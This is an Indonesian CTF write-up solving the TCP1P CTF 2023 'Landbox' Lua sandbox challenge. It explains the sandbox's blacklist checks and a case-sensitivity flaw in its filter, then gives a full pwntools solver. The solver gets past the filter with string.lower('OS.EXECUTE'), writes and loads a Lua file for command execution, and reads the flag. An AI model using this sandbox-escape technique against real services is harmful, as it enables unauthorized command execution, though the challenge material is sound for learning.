Halo teman-teman hackerπ! Di artikel ini, kita akan membahas terkait tentang sebuah chall(enge) dari TCP1P CTF 2023, yang berjudul: Landbox.
π€ Latar belakang
Jadi, apa sih tantangan satu ini? Dari deskripsinya saja, kita dapat mengetahui bahwa aplikasi ini dibuat dari Lua.
Selain itu, kita juga mendapatkan sebuah IP serta port untuk dihubungi dengan netcat. Disaat kita terhubung dengan IP tersebut, kita akan mendapat kalimat pengantar untuk tantangan ini. Disini, kita dapat memasukkan kode lua dan dapat diakhiri dengan -- END
.
$ nc 51.161.84.3 22041 Welcome to Landbox! (LUA Sandbox) Feel free to type your lua code below, type '-- END' once you are done ;) -- BEGIN print('hello world') -- END -- OUTPUT BEGIN hello world -- OUTPUT END
β Yang kita pelajari
- Aplikasi ini dibuat dari Lua.
- Aplikasi ini dapat menjalankan kode lua yang dimasukkan β
Karena kita hanya mendapat informasi yang terbatas, ayo kita lihat source code yang diberikan.
π©βπ» Source code
Dari tantangan ini, kita mendapat 2 file, yaitu main.lua
dan sebuah Dockerfile
. Mari kita lihat Dockerfile
nya terlebih dahulu, karena kita mungkin bisa mendapat informasi lebih seperti: versi lua, lokasi flag.txt
, dll.
π³ Dockerfile
FROM ubuntu:latest # ... dipotong biar lebih singkat RUN apt-get -y install lua5.4 socat # ... dipotong biar lebih singkat RUN chown root:root /flag.txt RUN mv /flag.txt /flag-`md5sum /flag.txt | awk '{print $1}'`.txt # ... dipotong biar lebih singkat
β Yang kita pelajari
- Versi lua yang dipakai adalah versi 5.4,
- File
flag.txt
diubah menjadiflag-<hash md5 flag>.txt
.
Nah, sekarang yang telah ditunggu-tunggu...
β main.lua
Yang pertama kita lihat setelah membuka file ini yaitu sebuah function untuk menjalankan kode yang kita input.
function run(untrusted_code) env['string']['char'] = function() end env['string']['format'] = function() end env['string']['gsub'] = function() end env['string']['sub'] = function() end local res, err = load(untrusted_code, nil, 't', env) if not res then print('Error: ' .. err) return nil, err end return pcall(res) end -- ... dipotong biar lebih singkat local res, err = run(code) -- ... dipotong biar lebih singkat
Sekarang, kita punya tujuan untuk membuat sebuah payload untuk mendapatkan flag dari tantangan ini. Namun, sebelum itu, kita harus melewati 3 pengecekan yaitu:
π₯ 1st check
blacklist = {'os.execute', 'execute', 'io.popen', 'popen', 'package.loadlib', 'loadlib'} for line in code:gmatch("[^\n]+") do for i = 1, #blacklist do if string.find(line, blacklist[i]) then print('No! bad code!') return end end end
Dari penggalan kode ini, kode yang kita input tidak boleh mengandung kata-kata yang didalam blacklist
atau kita tidak dapat melanjutkan ke step kedua.
π₯ 2nd check
sanitized = string.gsub(code, '%W', '') sanitized = string.gsub(sanitized, '%d', '') for i = 1, #blacklist do if string.find(sanitized, blacklist[i]) then print('No! bad code!') return end local parts = {} for part in sanitized:gmatch("0x%x?%x") do table.insert(parts, part) end local result = '' for j = 1, #parts do result = result .. string.char(tonumber(parts[j]:sub(3), 16)) end if string.find(result, blacklist[i]) then print('No! bad code!') return end end
Waduuh, yang kedua ini lebih kompleks dari pada yang pertama. Tapi, sebenarnya tidak sesusah itu. Kode string.gsub
ini, berdasarkan dokumentasi lua, digunakan untuk mengubah semua karakter yang cocok dengan karakter yang baru.
sanitized = string.gsub(code, '%W', '') sanitized = string.gsub(sanitized, '%d', '')
Seperti digambar, sanitized
ini adalah hasil dari fungsi string.gsub
. Di gsub
pertama, ternyata ada bug yang mungkin awalnya membuat kita bingung, yaitu pattern %W
. Sesuai dari tabel pattern diatas, %W
seharusnya menghapus semua karakter alphanumeric, namun karena pattern ini case-sensitive, huruf kapital W
ini tidak melakukan apa-apa. Sedangkan yang sanitized
kedua, ini akan menghapus semua angka dari kode kita.
Ada juga kode yang mengubah karakter hexadesimal menjadi karakter yang dapat dicek dengan list blacklist.
local parts = {} for j = 1, #parts do result = result .. string.char(tonumber(parts[j]:sub(3), 16)) end
Sama seperti step pertama, hasil yang didapatkan akan dicek kembali dengan list blacklist.
π₯ 3rd check
local result = {} for match in code:gmatch("['\"](.-)['\"]") do table.insert(result, match) end local sanitized = '' for i = 1, #result do sanitized = sanitized .. result[i] end for i = 1, #blacklist do if string.find(sanitized, blacklist[i]) then print('No! bad code!') return end local parts = {} for part in sanitized:gmatch("\\x%x%x") do table.insert(parts, part) end local result = '' for j = 1, #parts do result = result .. string.char(tonumber(parts[j]:sub(3), 16)) end if string.find(result, blacklist[i]) then print('No! bad code!') return end end
Sama seperti pengecekan kedua, disini semua kata didalam petik akan dicek dengan blacklist, juga dengan semua karakter hexadesimal.
β Yang kita pelajari
- Payload kita tidak boleh mengandung kata-kata dalam blacklist,
- Kita juga tidak bisa menggunakan karakter hexadesimal.
Dengan informasi yang kita dapat, kita sekarang bisa membuat solver untuk tantangan ini.
π§ Solver
Aku disini akan pakai Python dengan library pwntools
. Ayo, kita buat secara perlahan.
Pertama, kita butuh membuat sebuah interface untuk berkomunikasi dengan servernya.
from pwn import * import inspect def conn(): # replace host and port for remote io = remote("localhost", 1337) return io
βΉ Info
Kita bisa menjalankan server lokal sendiri menggunakanDockerfile
yang diberikan
Kedua, kita harus membuat kode lua yang dapat menjalankan command atau shell di konsol.
def write(cmd: str): payload = f""" local f=io.open("/tmp/shell.lua", "wb") f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]]) io.close(f) -- END """ payload = inspect.cleandoc(payload) return payload def exec(): payload = """ f = assert(loadfile('/tmp/shell.lua')); f(); -- END """ payload = inspect.cleandoc(payload) return payload
Didalam fungsi write
, kita membuat sebuah file di /tmp/shell.lua
dengan menggunakan fungsi io.open
lua. Kita dapat menggunakan io.open
karena yang dilarang itu adalah io.(p)open
. Lalu, untuk bisa melewati larangan os.execute
, kita dapat menggunakan fungsi string.lower
untuk mengubah huruf besar menjadi huruf kecil.
Lalu, dalam fungsi exec
, kita dapat menjalankan file /temp/shell.lua
dengan memanfaatkan fungsi assert
dan loadfile
dilua.
Ketiga dan yang terakhir, kita dapat menjalankan kedua fungsi diatas dengan 2 koneksi yang berbeda. Dikarenakan file flag diubah, kita harus menjalankan 2 command linux, yaitu: ls
dan cat
.
def send(cmd: str): with conn() as io: p1 = write(cmd) io.sendlineafter(b"-- BEGIN", p1.encode()) io.recvuntilS(b"-- OUTPUT END") with conn() as io: p2 = exec() io.sendlineafter(b"-- BEGIN", p2.encode()) output = io.recvuntilS(b"-- OUTPUT END") log.info(output) return output def main(): output = send('ls -la /') flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE) send('cat /flag-{}.txt'.format(flag[0]))
Berikut adalah script penuhnya
from pwn import * import inspect def conn(): # replace host and port for remote io = remote("localhost", 1337) return io def write(cmd: str): payload = f""" local f=io.open("/tmp/shell.lua", "wb") f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]]) io.close(f) -- END """ payload = inspect.cleandoc(payload) return payload def exec(): payload = """ f = assert(loadfile('/tmp/shell.lua')); f(); -- END """ payload = inspect.cleandoc(payload) return payload def send(cmd: str): with conn() as io: p1 = write(cmd) io.sendlineafter(b"-- BEGIN", p1.encode()) io.recvuntilS(b"-- OUTPUT END") with conn() as io: p2 = exec() io.sendlineafter(b"-- BEGIN", p2.encode()) output = io.recvuntilS(b"-- OUTPUT END") log.info(output) return output def main(): output = send('ls -la /') flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE) send('cat /flag-{}.txt'.format(flag[0])) if __name__ == "__main__": main()
Saat kita jalankan:
$ python ./solver.py # ... [*] -- OUTPUT BEGIN total 72 drwxr-xr-x 1 root root 4096 Oct 17 02:31 . drwxr-xr-x 1 root root 4096 Oct 17 02:31 .. -rwxr-xr-x 1 root root 0 Oct 17 02:31 .dockerenv lrwxrwxrwx 1 root root 7 Oct 4 02:08 bin -> usr/bin drwxr-xr-x 2 root root 4096 Apr 18 2022 boot drwxr-xr-x 1 root root 4096 Oct 17 02:26 ctf drwxr-xr-x 5 root root 360 Oct 17 02:31 dev drwxr-xr-x 1 root root 4096 Oct 17 02:31 etc -rwxr--r-- 1 root root 47 Oct 17 02:25 flag-cd55f8dcbf9176753d5e91133c78e172.txt drwxr-xr-x 2 root root 4096 Apr 18 2022 home lrwxrwxrwx 1 root root 7 Oct 4 02:08 lib -> usr/lib lrwxrwxrwx 1 root root 9 Oct 4 02:08 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Oct 4 02:08 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Oct 4 02:08 libx32 -> usr/libx32 drwxr-xr-x 2 root root 4096 Oct 4 02:08 media drwxr-xr-x 2 root root 4096 Oct 4 02:08 mnt drwxr-xr-x 2 root root 4096 Oct 4 02:08 opt dr-xr-xr-x 366 root root 0 Oct 17 02:31 proc drwx------ 2 root root 4096 Oct 4 02:12 root drwxr-xr-x 5 root root 4096 Oct 4 02:12 run lrwxrwxrwx 1 root root 8 Oct 4 02:08 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Oct 4 02:08 srv dr-xr-xr-x 11 root root 0 Oct 17 02:31 sys drwxrwxrwt 1 root root 4096 Oct 17 02:52 tmp drwxr-xr-x 1 root root 4096 Oct 4 02:08 usr drwxr-xr-x 1 root root 4096 Oct 4 02:12 var -- OUTPUT END # ... [*] -- OUTPUT BEGIN TCP1P{complex_problem_requires_simple_solution}-- OUTPUT END
π Akhirnya kita mendapat flagnya, kawan~
TCP1P{complex_problem_requires_simple_solution}
Akhir kata, terima kasih untuk membaca write-up ini ^v^
. Apabila ada kritik atau masukkan, silahkan komen saja dibawah atau email ke hello@edqe.me
.
π Referensi
Terima kasih untuk write-up dari 4n86rakam1 yang menjadi basis dari artikel & write-up ini.
Top comments (0)